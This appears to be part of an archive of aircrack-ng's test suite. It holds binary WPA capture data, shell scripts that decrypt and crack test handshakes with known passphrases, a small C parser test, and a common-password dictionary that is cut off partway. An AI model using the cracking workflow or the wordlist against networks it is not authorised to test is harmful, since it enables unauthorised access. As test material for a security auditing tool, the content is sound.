†¬þÃdYDÊ"¨¨I: †Â¤…ÎU˜ïfãäP ¯*XøÄpß.X/¹f‰É—ûºòÑ((ÖæÓåîØ ðl_šu› þª Ø_)S5™;h [E69ÄØËŸ¾½ åuõut_ÐNÞ>M¯ºk·nÃ<ŸR…j K-‹tÝ@G9Iø’ÀSëšÖ™Ü!…Ž’c¨sÈßÅÞ¶\/Á߈vÃdYD?*  A: †Â¤…ÎU˜ïfãä` ߣ˜WÍG æGž.3‘X6°I0£.#NOÀ÷†ôèxëÿö}4ÉI[Ü;¿Á¶Ù'mùÎô^Ýt¸Èâý)·–DïìL8f³da!¶²hö£3“©ry#€ÀÂGr_0ØC ×GNF¡1ÞP÷P¦ €í0öä÷™ø©Ô[ÃdYDiƒH: †Â¤…ÎU˜ï †Â¤…`ÃdYDš„ ÔÎU˜ïÃdYDY„H: †Â¤…ÎU˜ï †Â¤…pÃdYDG… ÔÎU˜ïÃdYD<¬mm€ÿÿÿÿÿÿ †Â¤… †Â¤…PDÚG¬%d1linksys‚„ US    *0¬¬¬« †¬þÃdYD©°H: †Â¤…ÎU˜ï †Â¤…€ÃdYDÞ± ÔÎU˜ïÃdYD  H: †Â¤…ÎU˜ï †Â¤…ÃdYD ÔÎU˜ïÃdYD! èèBÔÎU˜ï †Â¤…fãä`D ¥aö^è/ç—5himÖô@Žp°'À;*Ë9{¦Oܦ>Á¤_NE/¨©Ù4×E‰4œêððqm€!…@K œÁòW6y×lFn£wä‚0ôŸéaÌñQp¤š²ª£–‚3Dˆ‚…³éw»)R¤–…Òˆ|Ú«b_¯ÕG¨0¸!La1†'íM:ÈúøYÍ/dßí0zñ&–#Tv5)Ž•¯Þ‹©Î×K‹èœ Ì€„‡dEn˜…#mÙd»Ç#‰zb8¨WY+ÁºMg¨¿Æ·W)$˜ï›ZùÛÒOP‘‘‹B´é§å ´Î„kS&}ª·-2kSis [EÌ’b)ߦàôžTÅä\Ën+´½÷ß´ú󨡦ûÄGW·Nå¦ð§´ßÌÛ:˜®XwÓ¸]oâ]C‘´ ¬ ŸsþXi°N&ðd‚6ØÛ@;Óc’$L•Kôuã›ðîMáe´Ç…»7eÕP7U–ôáÙó‡ÈsÞÞ;¸¦}:ûæÓ\“°¨zdŸkÑ/eµÐ×Ú£­¶Æ¹“Q‘ÐÈÈ€ŽÄi_ ûÛ)C›º%ó6áoÝ™¦¦ Å£ŒõiLàžØfRü‰Ç«÷óÖߎˆx·‡]é’D"×üj‰”ðqBÞ¶Ó¥õMÆôGø¬š†±tØ~Ÿk³×¹™‚]xF½+´¦€>fâB ¥öµAF¸J/DzâzÔÙY …“Z L¬.ãÅR2EÐly”p«‹8ØRÉ”¹³æ?Êiþþ‡éóÈÝÀ9wÐ,Ü0Œ¾Ên­º+¹vªèc¾u²VaH¨Ô|ÔãW÷E'µpp×É•ñqmÄpT¨¬Mš]’™BøvõYf(cÓ<6=Ùï97R$kÐãç5ü¶ö&²3ÐûÉUiåÂN‡uòMˆ5é¬¶Ò  ªö‘o¢»¹âÎøDœçÔ™? —*A@‹œ¥§M[|«å`R,²'R´ÞÍN›Î°Œ­Û‡üwj‰Ã/A3ó¸z¢½ŒÈ¤ÆÛXÆ5@Íš™0z…ŸI˜Ëú¢î²ÍÿŸ@•S,Ï䪂Û{'«çõÎhfxÛ7rz(¹S7FeƒÏm=[„,ßb V,>ÿn£V¼ šÚ“ž_ÑãëÖ†ùÁî7ÁDŠg Ëð7Õ¶ ð+”¸¯eP¦J«¶ 5Å~™pj÷yÅŽŸ8 °ÞIš¤5³tÂFrÚ»4A$´G,Ùµ›xYÊK: ¾ Äý©~ê¨ÊUÎIæ…y8ôiƒîE ¦ÇÞƒÀp³úVØ,mV™XLJ‰äãdä'\5 aÄsi¹KZ«"Šñ¡ÉÂI¡Ñ˱çÑòM!·ìž8ÿA:Ë»9," ÷Q÷wisÐU4áÈeÞ£*÷\kÖJú$ìµC­Ibš÷v#y>ÃdYDû èèBÔÎU˜ï †Â¤…fãäpD ÏðS©Agt­>>xK¨^a²FkO”ß‹z³ˆ†0¿23|~ðBšc¢¬ E`|;mIî}S¸Wã ‡i´i[Ø£»tO$Ö¢pE8¢¨3& GÑú%-²8|âù‡—”,×Îm)Ž¢£Ò·Q¼Ò6‹f븇0‹w,Ù¡¬#'çoÀx‹d’Êœ¤ÇÜÆµ¬e4 (›Nf{Ñéü›2.&Û"ÿùúF¿gŽÄJüF/Å”ûnä|©Ò®UyUÔ)fÅ-㉣.3‚ŽH`êlA²“?øD§²ÌrIþù×ÑÚ%`3G¶€EÄŽafz?Yð2¤S–Š!¹W/ÔÊØ}[0¯ß²Ú;\»RÉ‘mŸ5úQÄjÅÊ©@¿^oû=âæaóõWgIꕨCM7k¦O`=¤ÀXèî ¦FL ¨¯ á)FY’ê.k3§®9p¿-‹7CnëºÈYóÆ|ˆÇ´À™R$’ æmÐ0®y¢K±$ û“Ý$ѼM«M~äý5X³°æ¢"9ëÃ}tÉ"[Ñ ‘æšÿ¶û@D;ñw-žÆ°LW†ˆ…„ã7äw˜¢/:ô&ïý²à*KÓ ¢ÃßPXŒr’ç(á~ñÏý# nòD”øo»¢v:Æ â÷¬2¦j ¼‚ {q¸d›zW fRJ-¦}éêÀ+!-Œ“]žíΜâZ `Ul.Ä»·þ´Ïfó[µÄ˘.}Q!=uÈ™ÀCš¯0²vž÷ÖeÑg—jðêó%é¼vÒÈ)vež¦¼4®N¥›J©'áË9ûϽÍÁ†Pknö¯X ¤±{¡Otí‚:¨¥0û±ðXÐ_Óθ0)y²üÚ$O·×Å©«ŠŽÂe–fЦŒd¯£æ2Vi*·˜|ÌùnÞ :÷!|r–BOÅXâkRÍ;ß!t4áÖÑØqUTiQ?8¯MlæÖ—_Hš¯^e»«ÀÄJt?ä˜Ï}f)&Å/ùÛ+´;&0ÜoAjðÚÎfB¨ˆ©ÿ3]ëïãZðX"¸BUŒÿQÓà8Ô/=Ü—Às¡*r0àŒvÁÒt¦åKøû*f ¾”ó<•V¥áW忨eKôî¦7-ë‘àø:w¹ãô:PÅ^ö”D» N‡ÆÊ5l^²¬…‘oV]¡c¿º¡é@‡î˘&ã“Mz°1ÝI=U¯è*k±½X0fl&PÄ2€'Ƭ[‡fª”7áÕ]xrªü!.v:$õ¼ˆýîc´»w~‚ïI‹đ1¾ç:]€³ª·1y1:-nϺÄÇ\¹Î õ¥„ÕF­°zÉOúŒzţㆨj(ËhÉì¥iÙ‚®òæBhÚ5‹¹oDˆ&çwsᛊ«D zJ™çâäU“0·z9ÇG4mæL.ê#ô+÷­øÕº0éìÎòI—Nc™Œ©NØX£?ØàÓ¿Zðȯ›4 qADÑþ6ã¹{cÐÒêÊvëPõûÊtÒ+ñßø~[×hXŸa¿ö 0„o²äá^± ?¡‚õªêû@xÝs¿®üó¤0¨VîŠBISÄHFRm*‰_MFŒ9Ð÷*N\–î磮F ¹wž6hŒ“©XöˆÐuÌ* ôƑݰçL\¡›ön"<.zÒ[‚ñœìóm!5F¢%Äu•°¢ѯ®M¬hp™ P)ûT!ƒ³DmáÕ–£¢›—Ný@{â@éAÇeºæÍ·n{ÓÙµB5JôaÉÊaÈ QM4/”æÍ²r-”,^}ÿCU‘ñ´2Ìeæ>0„ÝI_Hª‰¯Ý\ø"‹£‡×Ìh›qÃdYD#¢ H: †Â¤…ÎU˜ï †Â¤… ÃdYDY£ ÔÎU˜ïÃdYDJ¢ H: †Â¤…ÎU˜ï †Â¤…°ÃdYDa£ ÔÎU˜ïÃdYDÈÊ mm€ÿÿÿÿÿÿ †Â¤… †Â¤…0Ehf¯%d1linksys‚„ US    *0¬¬¬« †¬þÃdYD7Ï H: †Â¤…ÎU˜ï †Â¤…ÀÃdYDoÐ ÔÎU˜ïÃdYD-4 H: †Â¤…ÎU˜ï †Â¤…ÐÃdYDO5 ÔÎU˜ïÃdYDÈZ mm€ÿÿÿÿÿÿ †Â¤… †Â¤…Ehö°%d1linksys‚„ US    *0¬¬¬« †¬þÃdYDB_ H: †Â¤…ÎU˜ï †Â¤…àÃdYDw` ÔÎU˜ïÃdYD®Á H: †Â¤…ÎU˜ï †Â¤…ðÃdYDÞ ÔÎU˜ïÃdYDÒÈ èèBÔÎU˜ï †Â¤…fãä E Ä]íÍ~I1¥l°OÞ'dx¤LÆ›ÂQƒµðÙž¯ÅD£Ð¹lò˜~aßXÔ» àœK³”mÚñ9üLÝ{Qº-1ÀÆx??Ÿh‰’§&1Þ0?°M\fŸ´4ËÕõú57xRD÷W «¯¾àNxÒÅ}ýYGµ”ÄÍ¢FʬÖè(oz5Ù[xÍÙÖaÇBºeø¯E y§Ü•¬¶gu¬q͉ÚñϪiV¯¶òèV\àz‰¾$ÁPóz—°0acê«Åôý ]½ÉGúúÿÖ_}îŒ'ƒŽ úpl.¥ÁQ§¼¹ðÒDû´G]2O3?rø”+:¤è›oÚB›Üعw;âJÊŽ)£ÍG@b[7âÈ}ON-üK ©ö“:Ù¹xOñÁB 1ùum±}2òݾ…@]›_QCX®ã$¾Æ ìª8'r§äC„/C¸BO_Ò;ˆF`qø3yÙßüÌx†!1`V½5)5duªµ´‡"pŸ2è¸Ñ¥ÙK‹,)[îÑ øPHº,£Ûÿ7l[Ý*–¥VùR=·¿žtèùíj?¼Ï‚©Ð™.M •Z‰pÿö3]aaíÖsý\c`Ÿœ2.–aˆC²þsõSP_üj¦¸„HF°[Ò˜i—…0$ P¹ýrÇ \ñC ‚ ÄNÄŽ…Bžsx[í½ý3d×gE-°Ð…ÃLpÁèuîÙd˜°1´ 6 LŽ„ßó2‘Z¦}BaœŸ@3j¿Ðч«M&©! eµxÌm†àµ“Šnz7,I/þÂù ] £°ãïb‰.6V¯Ï"j –"Ϻà÷í…†œGY®ÓŸÓ;¯ú PkkùGü”J;=’Îí;Yj«|ˆÛÓ;`l£°ÑóS%ÍÜÄÈ`Ûp¥óaž¥Üœ¹È•c_îuK$š•ýGà·*PôÜMX¿gž"¶ŠÏÇë1\ÍþeàóBŵç­ìP-ؤyÃòoè,{‚k™ È"ÓüäÓù1ó¯}2®$v Už„ó½ü{#²_ënõæ=Ñ*’áÙÅþįöÝÞnö9ŸœbgÙœ$ôôéþŠpLiÐËØùͲ~Þ^Y çUYK‡ ‡¼’,c«×]f¨Îri3ö·c#ÞæçŸVtú@v‰ËF2²á1O}Ã"wòA`ßi»zø¸¾V‚U'¢m¿Ð î¥ ñW7§¬FÞ⟱£bdyclOBÔ9äˆF“¢šÚ4~š˜)¯‰ÎÀ“4íº£uÝC­Q8—gˆá‡J ŽÉ>(Y@wè÷>e“Oלּï‡ 9~l^Ž‚–ýð…hï6ǯƒÍà—0ýÚ3øÂtĭ陫YâLr寽Ȟ…tKº£û l(£P%Ü‹|1Þ¯0Iȶ’_Ê-ÕMCfµ߂Ég¨™®¶6ÒqÄŠ2ÑcO§Ùây¨4mBU 9Ü©¿C‚ÊL~ÚÐ¥ Âæe•õ˜=+½î¦S¡dHfpZ…(òê¬ÿÌ0p-n8~kc•‚‰0Ð#eÖë!µ9’ÈMìÒk$ùT(Zýž™žícaÞu¼š2ìpBT%]üª½3¿£Ÿ_"Ì{6^îú*=§øâFš3â3K¶g›úðŽN~úgaôð›ÆEaÜZöÌ9Š„†®Ðoî«Ýµ|‚‹´e/äšÐßçÙ€ëŠ÷CÉoM ƒÜlS?,xüFàÚžº«0¶l@0³zÿl9?&:°B0 <fú1*™Þy2 Q‹Gr«ìæ9aÐþøÛ$U“–f.Ðâ ¼;Žé¤ZreT‹_šñú†Æ‚µa«†ÑUžc¤-²7üàZ%VS*Ò±;èw•cýÈÄÂ;ªð•y97(ß_rcÊd‘k–ÅCâg?.GÃdYDCÔ   A: †Â¤…ÎU˜ïfãä€ wBý^«ÝÎ ·ûÐ ûí£ýõïÁô+Àe"ü µñˆ® wiÉx ZKm«A+#1éOLj!ªˆE1›§?`Û îÎiRjÞæ†kgñP³¿SÌB(ÂÊ(-tÅJ³XüƒbÀõËd7Ôù‚.Ÿ ñý Rüµ‹ºQ–G<”„ÃdYDXï mm€ÿÿÿÿÿÿ †Â¤… †Â¤…F÷в%d1linksys‚„ US    *0¬¬¬« †¬þÃdYD5H: †Â¤…ÎU˜ï †Â¤…ÃdYD96 ÔÎU˜ïÄdYD5 H: †Â¤…ÎU˜ï †Â¤…ÄdYD= ÔÎU˜ïÄdYD…8mm€ÿÿÿÿÿÿ †Â¤… †Â¤…`Fh´%d1linksys‚„ US    *0¬¬¬« †¬þÄdYD­<H: †Â¤…ÎU˜ï †Â¤… ÄdYDå= ÔÎU˜ïÄdYDƒH: †Â¤…ÎU˜ï †Â¤…0ÄdYDƒž ÔÎU˜ïÄdYD ¦èèBÔÎU˜ï †Â¤…fãäpF Ž»žÂqdNôqBq{;WÈþ­)‚üì*‰PÖüÿÕºÖoPåï(­Öi”}€q—˜‘³Š 8u«æ²šùÎ Hñ®(§Ç£wTü¥}öëD%¸Ÿ6ÿéiüdR¾½.;n>¬B¤«±Z§g‡f<R¶ÑŸ/_Q}$­þæaíl{gfØðEÞy„5Æí;⬷h#èE—Û ‡éáWý"aKÃ8✬¢ÈÄh@ôKî·þÏjM²APµ’¼Ç8,±DA Ö-D|yyõ͇PâÍ+kÐ*ÜEÙQß쵤wØø}L˜;¨.eÛù€Â:Ù™^Ü‹~Â,´$ʳ\ÚåöÁeU¡³1O²HÍþÑF4项þkÁ0•ܳõÉ©Ìc£ò%ƒU®—–6{DR;íÔØLmd(-ŽÃ¬j7ÏzYU,óÁ¯Ëb`E £m\½¥³•ëÕ£7 â=rs¼¶€gÿÒÕÍ÷“(¡#ãT‚u3é/CßA.&ŠqU[ajïy?s3EiKÇ/O\lXµqúŒ?å+Lç!ž¤¡)±.¶øIG({²S ã(9Ù©çî4^›îV®É)WÍÔùê½Sä¡:EE¶ebœ4ùYB.?¹§ªˆò÷Þa-QÖoµ™Ô9±S’ RJÖ+7f å1ØQïüµ¬×j6ºl–å@wfôéœþ"CFQRݽÁäéó*ÔK,º{Ð Ø8‡û;C3ç€&æÛ*Ñ!ž¸'†ôÝo—ÛC¶uÔ"0Ç× qþ(ZˆQH›±±8Ø.¸<Þ>\é A'Ž÷ÏŒògÃè%™=Á©ÐNcHÓ›±µråÁr²ÏE*û|Ú;_,‘xE+õÿÑÙY^ëy.¾W SÊÏÉ„štL=m‘ 2Âgžbu:ÖÅ : ‘Òcªˆ^•0ðð©žöŸ®—Ñ?í\g…ƒÖ:­Ž`ÀϹS…±..D8iÅY8ˆøàGéØkð½b¼$OÄ›-‡ܪ: ßåæ­ ÎÈÛC[|D®IšBæ, ‡M]»ôk±îvZŠžÆŒ¡Ñûm`t]ßÓQ0x&ÑkP "NA¢œ©ù× j»gìjÉh„[UÒ‡„‹o_6W- su¡ÚM»\[Œ¯Òµ¬cŸª¥ÀÊØàu©Øí›ÜI€×ØáÊÂv ü®–)˜&cB±<@ˆ¹þÛ”¹ ¡¤hà_Èí.Þáì°¥‹mf¶*òŸ‡[W#äèë0ØÞØ%Íà!] Sªz~ÇÅTªæN„ÿ›¨‘„$ùK öÊ«ÝÝi{èÂàÔ¹ã'9]0õ/BYýK0}>ã!¼Ø“÷çõßZ´|É:ê@Ï,1É'¬C Žmyhð…í-™ DæUwXjllw'Sɻ⪗ Wnf†¦;ÙÏ•S“ùQ™W÷­ª3HCÙü,0;Æ‚[lÉä£}ñºl̳ң\ó'åØÃYX‹ÉÊçHÌ6!ùGØùOü¶èf93aj–6çJóˆYƒ@çÄdYDЬèèBÔÎU˜ï †Â¤…fãä€F ¬µ$)W€îÚMOé¢XÖ”}:B>Q)܉ëoÀ¶T¦®0b¾x§8¿Às*îzyS÷ÚÏÆžh²IT¦·‘]˜˜ÜµðÇs\ð´Öª fÚÓÑGí¿šÒ½ÀÐòÐ=5†;öã mî²ýG%tr‹œãˆ/‡XwúüÛUŸ_D¨ü÷õæÊ*YÄ$Ï˪òЄZÙ§àvšû›}-¤ÃwØÄIú„0ëÈ­,GÃÝ\&…~ZZ,<ß»E%z,O¢o抅=g¶‹Ê3CL'w–ç®;¼e›ƒ‡tǨWZ< µøóO¥± =ø³+Qv¼w¦î.Ã÷Júi!Ž¥ ÄíUØñ½“Ö&óžÊôƒuPí>I}°"žËhÇ ®š:5€Ÿ¤±/Ö6hË7ù!$³JpÇÊÿ=jÙwáQl»B툷árÀ óûC¢*Sˆó«†SCnk¦)Í4HèÓ鶈ûççTF?Ó¦"´:›­§öóje"JÃ/[ö•¾s‹5µ†ˆÃ"ÙE¸‘ékmˬG¬GŠé<$.wñ;#cñ FÇ7‚@hjfM’{@fËkÄ«µ–£“ç{߸ߣs’³Ûõ¸xìàÛdx4ªÎY@g¤æjòR!ª…øˆls¢xvaum›)&0YKi6 x0ÌxªmèZçùF1ûdÆèïAM~4/ê¹OšèÒ'ó«#Nò~‘]Km€G(ÃL&rû„¬çf6œNOþî, “Ê™×çÌ?47ÛÙÃP#&ü,F…Úd>ïTPUm->KÜd^aj@Ð΂Þ%+ù<ØÊÏ5ǧ;IznDkHSƒT$Ù›ô<íר]Ä„[9 ¦\NÈ4‚Ò£·TÓ„FSÑoDì|åIHw( QŒé”_ƒ±y!Q´?¬ÄdYD³¨¨A: †Â¤…ÎU˜ïfãä û Ñ9´w&Ô—÷Ðü´o8Ýö¼ºsaH‘°•\Ã* dŒ²dMƒùè:ë‹ky‡`íî—2˲C/$Áý0š+&eŠÈm_µ {P(-wôÿ?‹ŸiDfBuÂ-òíÚrx²‘îqgî9“bµxâ’´G¹cÄ’O‡Õdˆ¯G³à·­ŽFÄdYDÏmm€ÿÿÿÿÿÿ †Â¤… †Â¤…àFò¬µ%d1linksys‚„ US    *0¬¬¬« †¬þÄdYDÙÕ¨¨I: †Â¤…ÎU˜ïfãä û Ñ9´w&Ô—÷Ðü´o8Ýö¼ºsaH‘°•\Ã* dŒ²dMƒùè:ë‹ky‡`íî—2˲C/$Áý0š+&eŠÈm_µ {P(-wôÿ?‹ŸiDfBuÂ-òíÚrx²‘îqgî9“bµxâ’´G¹cÄ’O‡Õdˆ¯G³à·­ŽFÄdYDÿݨ¨A: †Â¤…ÎU˜ïfãä  J‹æ…0´Cp+K¿q²]ÓÿþYQ¯ÿ»¹õ ­ñDŸ¼µ>u®m˜²iܱ­_s?Óñ5w:÷-?©Z˜Eñ3 ·vÉÙV:Çd_|½èþøú%ƒ6BÎ¥³ã^G ¬ªÁ†UÓÀ1ù£8ÚŽ\f]\®=(f½5p(¾„vrE]ÄdYDj.H †Â¤…ÎU˜ï †Â¤…@ÄdYDj/ ÔÎU˜ïÄdYDÙ+H †Â¤…ÎU˜ï †Â¤…PÄdYDÒ/ ÔÎU˜ïÄdYD†Xmm€ÿÿÿÿÿÿ †Â¤… †Â¤…@Gh6·%d1linksys‚„ US    *0¬¬¬« †¬þÄdYDƒ\H †Â¤…ÎU˜ï †Â¤…`ÄdYD~] ÔÎU˜ïÄdYD#¾H †Â¤…ÎU˜ï †Â¤…pÄdYD¿ ÔÎU˜ïÄdYD•èmm€ÿÿÿÿÿÿ †Â¤… †Â¤… GhƸ%d1linksys‚„ US    *0¬¬¬« †¬þÄdYDìH †Â¤…ÎU˜ï †Â¤…€ÄdYDí ÔÎU˜ïÄdYDmPH †Â¤…ÎU˜ï †Â¤…ÄdYDRQ ÔÎU˜ïÄdYD„xmm€ÿÿÿÿÿÿ †Â¤… †Â¤…HhVº%d1linksys‚„ US    *0¬¬¬« †¬þÄdYDÆ|H †Â¤…ÎU˜ï †Â¤… ÄdYDÇ} ÔÎU˜ïÄdYDéÚH †Â¤…ÎU˜ï †Â¤…°ÄdYDµÛ ÔÎU˜ïÄdYD„mm€ÿÿÿÿÿÿ †Â¤… †Â¤…`Hhæ»%d1linksys‚„ US    *0¬¬¬« †¬þÄdYDK H †Â¤…ÎU˜ï †Â¤…ÀÄdYDL  ÔÎU˜ïÄdYD³p H †Â¤…ÎU˜ï †Â¤…ÐÄdYD~q ÔÎU˜ïÄdYD€˜ mm€ÿÿÿÿÿÿ †Â¤… †Â¤…ÀHhv½%d1linksys‚„ US    *0¬¬¬« †¬þÄdYD|œ H †Â¤…ÎU˜ï †Â¤…àÄdYDx ÔÎU˜ïÄdYDxÿ H †Â¤…ÎU˜ï †Â¤…ðÄdYDF ÔÎU˜ïÄdYD‚( mm€ÿÿÿÿÿÿ †Â¤… †Â¤… Ih¿%d1linksys‚„ US    *0¬¬¬« †¬þÄdYD³, H †Â¤…ÎU˜ï †Â¤…ÄdYD®- ÔÎU˜ïÄdYDð‰ H †Â¤…ÎU˜ï †Â¤…ÄdYD³Š ÔÎU˜ïÄdYD¸ mm€ÿÿÿÿÿÿ †Â¤… †Â¤…€Ih–À%d1linksys‚„ US    *0¬¬¬« †¬þÄdYD>¼ H †Â¤…ÎU˜ï †Â¤… ÄdYD0½ ÔÎU˜ïÄdYD- H †Â¤…ÎU˜ï †Â¤…0aircrack-ng-1.2-rc4/test/test-airdecap-ng.sh0000755000000000000000000000412112656030674017375 0ustar rootroot#! /bin/sh # # Carlos Alberto Lopez Perez # Thomas d'Otreppe - Support for sha1 and sh TESTDIR="$(dirname $0)" if [ "$(uname -s)" = 'OpenBSD' ]; then tmpdir="$(mktemp -d -t acng.XXXXXX)" else tmpdir="$(mktemp -d -t acng.XXXX)" fi compute_sha1() { if type "sha1sum" > /dev/null 2>/dev/null ; then sha1sum "${1}" | awk '{print $1}' elif type "shasum" > /dev/null 2>/dev/null ; then shasum "${1}" | awk '{print $1}' elif type "sha1" > /dev/null 2>/dev/null ; then sha1 -q "${1}" else echo "Unable to find something to compute sha1" 1>&2 exit 1 fi } # Clean on exit if [ "$(uname -s)" = 'OpenBSD' ]; then trap "rm -rf "${tmpdir}"" EXIT else trap "rm -fr "${tmpdir}"" SIGINT SIGKILL SIGQUIT SIGSEGV SIGPIPE SIGALRM SIGTERM EXIT fi # Test1 cp -f "${TESTDIR}/wpa.cap" "${tmpdir}" ./airdecap-ng -e test -p biscotte "${tmpdir}/wpa.cap" | \ grep "Number of decrypted WPA packets 2" || exit 1 [ $? -ne 0 ] && exit 1 result=$(compute_sha1 "${tmpdir}/wpa-dec.cap") if [ "${result}" != "69f8557cf96a26060989e88adfb521a01fc9b122" ] && [ "${result}" != "fb1592b2c0dccef542c1f46297394ee2892f8ed3" ]; then exit 1 fi # Test 2 cp -f "${TESTDIR}/wpa-psk-linksys.cap" "${tmpdir}" ./airdecap-ng -e linksys -p dictionary "${tmpdir}/wpa-psk-linksys.cap" | \ grep "Number of decrypted WPA packets 53" [ $? -ne 0 ] && exit 1 result=$(compute_sha1 "${tmpdir}/wpa-psk-linksys-dec.cap") if [ "${result}" != "1e75a9af0d9703c4ae4fc8ea454326aeb4abecc1" ] && [ "${result}" != "1c3c4123ba6718bd3db66de251a125ed65cd6ee6" ]; then exit 1 fi # Test 3 cp -f "${TESTDIR}/wpa2-psk-linksys.cap" "${tmpdir}" ./airdecap-ng -e linksys -p dictionary "${tmpdir}/wpa2-psk-linksys.cap" | \ grep "Number of decrypted WPA packets 25" [ $? -ne 0 ] && exit 1 result=$(compute_sha1 "${tmpdir}/wpa2-psk-linksys-dec.cap") if [ "${result}" != "2da107b96fbe19d926020ffb0da72553b18a5775" ] && [ "${result}" != "dc7d033b9759838d57b74db04185c3586cbd8042" ]; then exit 1 fi exit 0 aircrack-ng-1.2-rc4/test/test-hex_string_to_array.c0000644000000000000000000000120312604147340021070 0ustar rootroot#include #include extern int hexStringToArray(char* in, int in_length, unsigned char* out, int out_length); int main(int nbarg, char *argv[]) { #define OUT_LEN 1024 unsigned char out[OUT_LEN]; int out_bytes, i; if (nbarg != 2) { printf("Missing parameter\n"); return 1; } for (i = 0; i < OUT_LEN; ++i) out[i] = 0; out_bytes = hexStringToArray(argv[1], strlen(argv[1]), out, OUT_LEN); if (out_bytes == -1) { printf("Invalid\n"); return 2; } else { printf("Valid (len: %d): ", out_bytes); } for (i = 0; i < out_bytes; ++i) { if (i != 0) printf(":"); printf("%d", out[i]); } return 0; } aircrack-ng-1.2-rc4/test/Chinese-SSID-Name.pcap0000644000000000000000000000043711352453512017546 0ustar rootrootÔò¡ÿÿiQ¨K®÷÷€ÿÿÿÿÿÿ$À„$À„ ¡I±½d1²âÊÔ‚„‹– $20H`l3 3! *-îÿ =ÝPò¤'¤BC^b2/ zÝL3îÿ ÝL4Ý Caircrack-ng-1.2-rc4/test/test-airolib-sqlite.sh0000755000000000000000000000116312635636356020154 0ustar rootroot#! /bin/sh # # Carlos Alberto Lopez Perez # TESTDIR="$(dirname $0)" tmpfile="$(mktemp -u -t acng.XXXX)" # Clean on exit trap "rm -fr "${tmpdir}"" SIGINT SIGKILL SIGQUIT SIGSEGV SIGPIPE SIGALRM SIGTERM EXIT echo Harkonen | ./airolib-ng "${tmpfile}" --import essid - [ $? -ne 0 ] && exit 1 ./airolib-ng "${tmpfile}" --import passwd "${TESTDIR}/password.lst" [ $? -ne 0 ] && exit 1 ./airolib-ng "${tmpfile}" --batch | grep "Computed 233 PMK" [ $? -ne 0 ] && exit 1 ./aircrack-ng -q -e Harkonen -r "${tmpfile}" "${TESTDIR}/wpa2.eapol.cap" | grep 'KEY FOUND! \[ 12345678 \]' [ $? -ne 0 ] && exit 1 exit 0 aircrack-ng-1.2-rc4/test/password.lst0000644000000000000000000003744412004033544016275 0ustar rootroot# Compiled by Solar Designer 12345 abc123 password passwd 123456 newpass notused Hockey internet asshole Maddock 12345678 newuser computer Internet Mickey qwerty fiction Cowboys Jordan Hatton test Michael ou812 orange 1234 Beavis 123 tigger Soccer shadow Purple Sports dragon michael wheeling mustang Monkey Qwerty School Snoopy Vikings jennifer money Justin mickey 0246 a1b2c3 chris david foobar Robert buster harley jordan stupid * apple fred 123abc Amanda Dakota summer sunshine andrew hello maggie monday pascal patrick Dallas Jessica Nicole Sendit Smokey baseball daniel diamond joshua michelle mike silver 1q2w3e Friends George Shadow Summer bandit coffee falcon fuckyou pepper richard thomas undead !@#$% Andrew Buster Cowboy Eagles Elwood Master Nathan changeme charlie golf green linda merlin monkey nite secret soccer steve 1234567 Apples Dragon Flower Mustang Pepper george guest hockey james koko matthew pookie robert xxx Dolphin Killer Miller Packers Tigger alex canada john master Chicago Kitten Polaris Spanky Tennis Thomas Tweety hammer letmein magic murphy scooter service snoopy sophie thx1138 tiger Ashley Basket Ginger Nirvana Teacher Yellow blue dave hunter sarah thursday welcome Bandit Volley aaaaaa ashley bear boomer calvin dallas friday happy jason madison martin mother nicole purple ranger 123go Airhead Braves Sparky angela brandy cindy dakota donald football ncc1701 shannon soleil taylor tuesday Abcdef August Footbal Heather Johnson Maggie Matthew Michelle Monday Pookie Rabbit Richard Smiley amanda anthony camaro carmen cowboy genesis jesus joseph justin miller ncc1701d pamela picture princess rabbit rocket sierra steven success tennis victoria willow Abcdefg Bubba Charlie Compute Computer Fuckyou Hammer Jeremy Library Password Runner Scooter Shorty Silver Taylor Tigers Travis Viper digital duke freedom gandalf ginger heather iloveyou jessica killer lizard loser mark monica oscar peanut pentium peter phoenix piglet rainbow runner sam saturn scott skippy startrek temp 111111 123123 2welcome Basebal Batman Brandy Cassie Dustin Fishing Harley Hunter Orlando Peaches Scotty Steven Voyager andrea ass avalon batman brandon bubba casey eagle frog1 fuckme info love marie misty natasha newyork nss poohbear rachel turtle walter wizard 00000000 Daniel Friday Hornets Joshua Online Rodman Science andy asdf august austin beavis brenda brian butthead charles cheese doctor dolphin flower jonathan junior knight marley maverick molson morgan mouse nathan nissan rebecca shalom smile sparky stephen whatever william 696969 Anthony Casper Helpme Jessie Mother Pebbles Pentium Secret Sonics Viking Wolves access alpha angel ath banane bob bond007 booger boris chicken cookie elephant elvis emily eric france gizmo goober horses island jeffrey jerry joe jupiter justice lisa lucky mindy missy muffin music protel rose sandy sharon snake spider spring test1 tommy toyota vincent wqsb 7777 8675309 Barney Bowling Camaro Casio Cookie Froggy Golfer Junior Knights Lakers Melissa Patrick Rachel Raiders Reggie Shelly Shithead Speedy Thunder Windows albert alexande america7 banana barbara barney billy biteme black chelsea claire connie debbie delta dennis eeyore fishing fucker helpme honda indiana jackson jasmine karen kevin lestat logan louis louise micro mitchell nirvana none paul pepsi perry phantom pierre rascal red reddog roger sanjose1 simon star superman tom topgun wilson 654321 Aikman Animal Avatar Basketb Gandalf Hacker Hendrix Hunting Iceman Leslie Letmein Scooby Snicker System Tazman Tootsie Turtle abcd1234 adg amber anna annie arthur benjamin bill boston braves buddy cgj control coyote daisy dog dorothy douglas edward faith family fish fisher ford freak1 friend grant iceman jack jeremy jim library marcel molly mountain nat nicarao olivia pat pearljam pmc ppp prince ryan salmon school skeeter special spencer stinky sunflowe teacher test123 tony travel viper wally winston winter wolf yellow zephyr ziggy !@#$%^ 1928 2112 90210 Arthur Biteme Blackie Boomer Bubbles Carrie Charles Denise Fender Fluffy Fucker Fuckme Golfing Intel Jasmine Joseph Knight Lindsey Loser Orange Peanut People Porsche Rebecca Rhonda Sanders Speech Tanner Teresa Turbo Volleyb Wrestle alaska apples asdfgh bigdog boss casper cat chapman chocolat christin classroo cocacola coke cougar cricket crystal danny david1 dean disney einstein elizabet felix fox frank giants grace gregory hannah hendrix hola howard jake janice jesus1 julian kelsey kitten12 lacrosse lakers larry leslie marina matt melissa millie montana moose morris orion pantera paris piano pizza please popcorn q1w2e3 radio sales sammy shelly shithead stanley steelers stimpy student susan sydney tammy testtest texas thunder tweety victory virginia willie willy win95 zapata 1 Alaska Alicia Bailey Banana Beaner Bigdog Blazer Blondie Brandon Center Cheese Chicken Chris Compaq Dreams Falcon Family Fisher Flyers Friend FuckYou Global Gopher Guitar Gymnast Hearts Huskers Kinder Larson Lestat Lindsay Minnie Muffin Pamela Panther Picard Pyramid 